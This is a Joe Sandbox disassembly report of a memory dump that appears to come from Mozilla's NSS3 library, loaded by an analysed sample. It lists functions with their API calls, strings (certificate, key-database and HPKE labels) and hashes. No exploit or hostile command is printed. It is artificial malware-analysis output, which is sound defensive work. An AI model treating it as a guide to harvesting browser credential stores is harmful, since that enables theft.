Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: cc6be0d0199fa10bdf8fa44fb325ac0fb919aa9e9dc4c86e1f15a81bc53c1c96
Instruction ID: 4cacbe5cd58a3587b81c423f07b36d809564dbac1d5497e6ad993acad5679f2a
Opcode Fuzzy Hash: cc6be0d0199fa10bdf8fa44fb325ac0fb919aa9e9dc4c86e1f15a81bc53c1c96
Instruction Fuzzy Hash: AA5185B5B012065FEB14DF25ED41AAE37A8AF0528CF180020EC55E7B42E735E959CBB6

Function 6CA04C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C9F4F51,00000000), ref: 6CA04C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C9F4F51,00000000), ref: 6CA04C5B
PR_smprintf.NSS3(6CADAAF9,?,0000002F,?,?,?,00000000,00000000,?,6C9F4F51,00000000), ref: 6CA04C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C9F4F51,00000000), ref: 6CA04CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA04CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA04CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA04D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C9F4F51,00000000), ref: 6CA04D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C9F4F51,00000000), ref: 6CA04D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CA04D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CA04DA2
free.MOZGLUE(?), ref: 6CA04DB9
free.MOZGLUE(00000000), ref: 6CA04DCF

Strings

every, xrefs: 6CA04CA1
0x%08lx=[%s %s], xrefs: 6CA04D80
timeout, xrefs: 6CA04C91
ootT, xrefs: 6CA04D1A
rootFlags, xrefs: 6CA04D47
rust, xrefs: 6CA04D22
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CA04D9D
any, xrefs: 6CA04C96
slotFlags, xrefs: 6CA04D34
%s,%s, xrefs: 6CA04C4B

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: c1961c8d2d4783dabe9d89a1658795da5019fa96247b24d155d425a582cf3efd
Instruction ID: 9f8fd4638b99c8110434cb9061c3a8189660c584288c2dae0d77b308df27dc33
Opcode Fuzzy Hash: c1961c8d2d4783dabe9d89a1658795da5019fa96247b24d155d425a582cf3efd
Instruction Fuzzy Hash: 92417DB1A002456BDB116F19BC446BB3A75BFA238CF098128EC155BB01E735E9E5C7D3

Function 6C9E6910 Relevance: 38.6, APIs: 15, Strings: 7, Instructions: 131COMMON

Download Yara Rule

APIs

NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C9E6943

Part of subcall function 6CA04210: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,D283B6FE,flags,?,00000000,?,6C9E5947,flags,printPolicyFeedback,?,?,?,?,?,?,00000000), ref: 6CA04220
Part of subcall function 6CA04210: NSSUTIL_ArgGetParamValue.NSS3(?,6C9E5947,?,?,?,?,?,?,00000000,?,00000000,?,6C9E7703,?,00000000,00000000), ref: 6CA0422D
Part of subcall function 6CA04210: PL_strncasecmp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9E7703), ref: 6CA0424B
Part of subcall function 6CA04210: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9E7703,?,00000000), ref: 6CA04272

NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C9E6957
NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C9E6972
NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C9E6983

Part of subcall function 6CA03EA0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(8914C483,70E85609,6C9DC79F,?,6C9E6247,70E85609,?,?,6C9DC79F,6C9E781D,?,6C9DBD52,00000001,70E85609,D85D8B04,?), ref: 6CA03EB8

PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C9E69AA
PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C9E69BE
PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C9E69D2
NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C9E69DF

Part of subcall function 6CA04020: isspace.API-MS-WIN-CRT-STRING-L1-1-0(FFFFEF69,00000000,?,?,754C4C80,?,6CA050B7,?), ref: 6CA04041

free.MOZGLUE(00000000), ref: 6C9E69F6
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C9E6A04
free.MOZGLUE(00000000), ref: 6C9E6A1B
NSSUTIL_ArgFetchValue.NSS3(-0000000B,?), ref: 6C9E6A29
free.MOZGLUE(00000000), ref: 6C9E6A3F
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C9E6A4D
NSSUTIL_ArgStrip.NSS3(?), ref: 6C9E6A5B

Strings

flags, xrefs: 6C9E6937, 6C9E6942, 6C9E6956, 6C9E696D
keyPrefix=, xrefs: 6C9E69CC
nokeydb, xrefs: 6C9E6968
readOnly, xrefs: 6C9E693D
nocertdb, xrefs: 6C9E6951
configdir=, xrefs: 6C9E69A4
certPrefix=, xrefs: 6C9E69B8

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: L_strncasecmpValuefree$FetchFlag$Stripisspace$ParamParameterSkipstrlen
String ID: certPrefix=$configdir=$flags$keyPrefix=$nocertdb$nokeydb$readOnly
API String ID: 2065226673-2785624044
Opcode ID: 0858b713b4b7095eef02cf2905d7e3d0648803d6ba9f8d61a2e7acd07c6065f2
Instruction ID: 7ed27299829467762af3f388f4ea4ca5f9c432934a03bdaedd52cfa09c8aa570
Opcode Fuzzy Hash: 0858b713b4b7095eef02cf2905d7e3d0648803d6ba9f8d61a2e7acd07c6065f2
Instruction Fuzzy Hash: D84181B1E403096BE7009F75BD81B5B77ACAF2924CF154420EA15E6B02F735DA98C7A1

Function 6C9ADDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9ADDDE

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C9ADDF5

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C9ADE34
PR_Now.NSS3 ref: 6C9ADE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C9ADE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9ADEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C9ADEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C9ADED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C9ADEF0
PR_smprintf.NSS3(6CADAAF9,(NULL) (Validity Unknown)), ref: 6C9ADF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9ADF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C9ADF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9ADF33
free.MOZGLUE(00000000), ref: 6C9ADF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9ADF4B
free.MOZGLUE(00000000), ref: 6C9ADF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9ADF8E

Strings

{???}, xrefs: 6C9ADE8B
(NULL) (Validity Unknown), xrefs: 6C9ADEFA
%s%s, xrefs: 6C9ADEEB

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 98f7d20ec4dbbd9fbb79aaae0709746cd6f8a13c3ab2e9058e2b6c81c5aa5d74
Instruction ID: ba3eebe2f3d23c3044d8de58888733a81b91b045ec3dbe300ae77e5422209077
Opcode Fuzzy Hash: 98f7d20ec4dbbd9fbb79aaae0709746cd6f8a13c3ab2e9058e2b6c81c5aa5d74
Instruction Fuzzy Hash: 6451C6B2E001059BDB10DFA59D41AAF7BB9AF99358F144028EC09E7B00E730D956CBE1

Function 6C9D08F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6C9D094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9D0953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6C9D096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6C9D0974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C9D098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C9D0995

Part of subcall function 6C9D1800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C9D1860
Part of subcall function 6C9D1800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C9D09BF), ref: 6C9D1897
Part of subcall function 6C9D1800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C9D18AA
Part of subcall function 6C9D1800: memcpy.VCRUNTIME140(?,?,?), ref: 6C9D18C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C9D0B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C9D0B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C9D0B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6C9D0B78

Strings

secret, xrefs: 6C9D0A88
info_hash, xrefs: 6C9D09E0
key, xrefs: 6C9D0ACB
psk_id_hash, xrefs: 6C9D09B5
exp, xrefs: 6C9D0B36
base_nonce, xrefs: 6C9D0B06

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: 4695ed02a71b2a7818ab2fb564cad735c71ab6c3895029c4fd049b22934ae539
Instruction ID: e624ed87277d8182063d75e531898d9bcb9458adafb41c741a1c1ea198ec06f8
Opcode Fuzzy Hash: 4695ed02a71b2a7818ab2fb564cad735c71ab6c3895029c4fd049b22934ae539
Instruction Fuzzy Hash: 4C818AB6604701AFC700CF54C88099AF7E8FF9C208F058959F998A7751E730EA59CBA2

Function 6C9E2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C9E2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C9E2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C9E2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C9E2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C9B4F1C,?,-00000001,00000000,?), ref: 6C9E2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C9B4F1C,?,-00000001,00000000), ref: 6C9E2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C9E2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C9E2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C9E2EF8
PR_Unlock.NSS3(?), ref: 6C9E2F62
TlsGetValue.KERNEL32 ref: 6C9E2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C9E2F9E
PR_Unlock.NSS3(?), ref: 6C9E2FCA
TlsGetValue.KERNEL32 ref: 6C9E301A
EnterCriticalSection.KERNEL32(?), ref: 6C9E302E
PR_Unlock.NSS3(?), ref: 6C9E3066
PR_SetError.NSS3(00000000,00000000), ref: 6C9E3085
PR_Unlock.NSS3(?), ref: 6C9E30EC
TlsGetValue.KERNEL32 ref: 6C9E310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C9E3124
PR_Unlock.NSS3(?), ref: 6C9E314C

Part of subcall function 6C9C9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C9F379E,?,6C9C9568,00000000,?,6C9F379E,?,00000001,?), ref: 6C9C918D
Part of subcall function 6C9C9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C9F379E,?,6C9C9568,00000000,?,6C9F379E,?,00000001,?), ref: 6C9C91A0

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

PR_SetError.NSS3(00000000,00000000), ref: 6C9E316D

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: c81c8c444c036da88a0823ad599316f8fd586832c00819be644874742daf5021
Instruction ID: 50aecb4576aab4d53730c2aab85e96abe2dd8eb660b31cb9b6c088091dd8862d
Opcode Fuzzy Hash: c81c8c444c036da88a0823ad599316f8fd586832c00819be644874742daf5021
Instruction Fuzzy Hash: 12F1AEB5E006099FDF01DF68D844B99BBB8BF29318F148169EC14A7721E731E996CB81

Function 6CA0C980 Relevance: 33.3, APIs: 22, Instructions: 298memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,6CA0AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CA0C98E

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,6CA0AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CA0C9A1

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SECOID_FindOIDByTag_Util.NSS3(0000001A,?,?,?,6CA0AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CA0C9D3

Part of subcall function 6CA00840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA008B4

SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000,?,?,?,?,6CA0AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CA0C9E6

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,6CA0AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CA0C9F5
PORT_ArenaAlloc_Util.NSS3(00000000,00000050,?,?,?,?,?,?,?,6CA0AEB0,?,00000004,00000001,?,00000000,?), ref: 6CA0CA0A
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,6CA0AEB0,?,00000004,00000001), ref: 6CA0CA33
SECOID_FindOIDByTag_Util.NSS3(00000019,?,?,?,?,?,?,?,?,?,?,?,?,6CA0AEB0,?,00000004), ref: 6CA0CA4D
SECITEM_CopyItem_Util.NSS3(00000001,?,00000000), ref: 6CA0CA60
SEC_PKCS7DestroyContentInfo.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CA0AEB0,?,00000004), ref: 6CA0CA6D
PR_Now.NSS3 ref: 6CA0CAD6
PORT_ArenaMark_Util.NSS3(00000000), ref: 6CA0CB23
PORT_ArenaAlloc_Util.NSS3(00000000,0000005C), ref: 6CA0CB32
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001), ref: 6CA0CB64
SECOID_SetAlgorithmID_Util.NSS3(00000000,?,00000001,00000000), ref: 6CA0CBBB
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CA0CBD0
PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CA0CBF6
PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CA0CC18
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000001,00000000), ref: 6CA0CC39
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CA0CC5B

Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0116E

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CA0CC69
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CA0CC89

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyItem_$AlgorithmAllocateArena_EncodeFindInteger_Tag_Value$ContentCriticalDestroyEnterErrorFreeInfoInitLockMark_PoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1766420342-0
Opcode ID: 12030475f7c8563d5fd7247473cdb073e04a46045f5c7f4530716ada29b3ec29
Instruction ID: e520afd41e911c47e584c44cac36e1abe81c876097d4ddabb85cee3136c16e94
Opcode Fuzzy Hash: 12030475f7c8563d5fd7247473cdb073e04a46045f5c7f4530716ada29b3ec29
Instruction Fuzzy Hash: 27B1BFB5E002069FEB00DF65ED41BAA77B0BF1838CF144125E914A7752EB71D9E4CBA2

Function 6C9C9FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C9C9FBE

Part of subcall function 6C9A2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C9A2F0A
Part of subcall function 6C9A2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C9A2F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C9CA015

Part of subcall function 6C9E1940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C9E563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C9E195C
Part of subcall function 6C9E1940: EnterCriticalSection.KERNEL32(?,?,6C9E563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C9BEAC5,00000001), ref: 6C9E1970
Part of subcall function 6C9E1940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C9BEAC5,00000001,?,6C9BCE9B,00000001,6C9BEAC5), ref: 6C9E19A0

PL_FreeArenaPool.NSS3(?), ref: 6C9CA067
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9CA055

Part of subcall function 6C924C70: TlsGetValue.KERNEL32(?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924C97
Part of subcall function 6C924C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CB0
Part of subcall function 6C924C70: PR_Unlock.NSS3(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9CA07E
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9CA0B1
PL_FreeArenaPool.NSS3(?), ref: 6C9CA0C7
PL_FinishArenaPool.NSS3(?), ref: 6C9CA0CF
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9CA12E
PL_FreeArenaPool.NSS3(?), ref: 6C9CA140
